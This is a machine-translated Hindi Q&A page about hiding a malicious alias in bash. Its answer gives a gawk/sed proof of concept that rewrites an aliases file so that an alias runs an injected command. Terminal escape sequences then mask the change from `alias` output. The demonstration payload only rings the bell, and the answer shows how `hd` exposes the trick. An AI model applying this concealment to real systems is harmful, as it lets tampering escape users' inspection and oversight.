क्या लिनक्स पर बैश में एक दुर्भावनापूर्ण उपनाम को छिपाना संभव है?


9

क्या लिनक्स सिस्टम पर बैश में एक दुर्भावनापूर्ण उपनाम के अस्तित्व को छिपाना संभव है और क्या यह उपयोगकर्ता द्वारा उनकी जानकारी के बिना निष्पादित किया गया है?

जवाबों:


13

यह संभव है कि दुर्भावनापूर्ण एक पर मौजूदा उपनाम को जोड़कर और कर्सर आंदोलन का उपयोग करके इसे छिपाने के लिए यदि aliasकमांड का उपयोग उपनाम की परिभाषाओं को प्रदर्शित करने के लिए किया जाता है। यह पूरी तरह से मूर्खतापूर्ण तरीका नहीं है, लेकिन यह थोड़ी देर के लिए चल सकता है। के aliasमाध्यम से पाइपिंग hdआपको दिखाएगा कि आपके उपनाम में कोई एस्केप सीक्वेंस (कर्सर आंदोलन) हैं या नहीं। यहाँ एक दुर्भावनापूर्ण आदेश को एक उपनाम में कैसे डाला जा सकता है, इसके लिए अवधारणा का एक प्रमाण है:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • sedआदेश संशोधित एक फ़ाइल जगह में "अन्य नामों" कहा जाता है - इस प्रकार के कोई वास्तविक स्क्रिप्ट गले के लिए जाने के लिए और इसलिए दुर्भावनापूर्ण उर्फ अगली बार जब यह मार डाला है सक्रिय हो जाएगा कोई वास्तविक स्क्रिप्ट फ़ाइल को संशोधित करेगा।
  • इस उदाहरण का दुर्भावनापूर्ण हिस्सा सिर्फ टर्मिनल की घंटी बजाता है ताकि आप जान सकें कि यह काम कर रहा है।
  • मूल रूप से अलियास की गई कमांड hideको एक तर्क की सामग्री के साथ निष्पादित किया जाएगा ताकि यह अनुमान योग्य हो कि आपको इस प्रश्न में रिपोर्ट की गई के समान त्रुटि मिल सकती है । इसे प्रभावित करने के लिए मूल और दुर्भावनापूर्ण भागों को उल्टा करना संभव हो सकता है, हालांकि यह उर्फ ​​को प्रदान किए जा रहे तर्कों के साथ हस्तक्षेप करेगा। तर्कों के अंत को चिह्नित करने के लिए ऊपर की स्क्रिप्ट में एक प्रयास किया गया है --
  • मूल और दुर्भावनापूर्ण भागों के साथ पीछा करने के बजाय &&, आप अगले एक को पाइप कर सकते हैं और दुर्भावनापूर्ण स्क्रिप्ट (सरल echoकमांड द्वारा ऊपर दर्शाया गया है ) फ़ंक्शन को डेटा को संशोधित करने के stdinलिए stdoutपास-थ्रू के रूप में या तो इसे पार करने या इसे छिपाने के लिए कर सकते हैं। अन्य पुनर्निर्देशन में हस्तक्षेप न करके आगे अस्तित्व
  • इसके बजाय एक और संभावना यह होगी कि दुर्भावनापूर्ण लिपि के अंदर मूल उर्फ ​​को शामिल किया जाए जो कर्सर आंदोलन स्ट्रिंग को तर्क सूची से हटा सकता है और शेष को मूल में पास कर सकता है।
  • मैंने मनमाने ढंग से रिकॉर्ड 3 और 4 को चुना, अधिक बुद्धिमान कोड विशेष उपनामों को लक्षित कर सकता है, लेकिन उन्हें आसन्न होने की आवश्यकता है (या कर्सर आंदोलन को और अधिक जटिल बनाया जा सकता है)।
  • hideस्ट्रिंग बहुत अलग कर्सर आंदोलन और मूल उर्फ का पाठ शामिल करने के लिए संशोधित किया जा सकता है aliasआदेश दुर्भावनापूर्ण भाग के साथ-साथ यह छुपा के बजाय असंशोधित उर्फ दिखाने के लिए प्रकट होता है।
  • लिखित रूप में इसे आज़माने के लिए, आपको कम से कम चार सक्रिय उपनाम रखने होंगे, इस स्क्रिप्ट को चलाना होगा, फिर परिणामी फ़ाइल को स्रोत बनाना होगा . aliases। फिर आप प्रभावित उपनाम का उपयोग करने की कोशिश कर सकते हैं और देख सकते हैं कि जब आप ऐसा करते हैं तो यह कैसा दिखता है alias|hd
  • यह निस्संदेह सौ अलग-अलग तरीकों से फिर से लिखा जा सकता है - सभी बेहतर।
  • इस प्रकार का खतरा कितना यथार्थवादी है? मेरे पास कोई सुराग नहीं है। लेकिन अगर मैं यह कर सकता हूँ ...
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.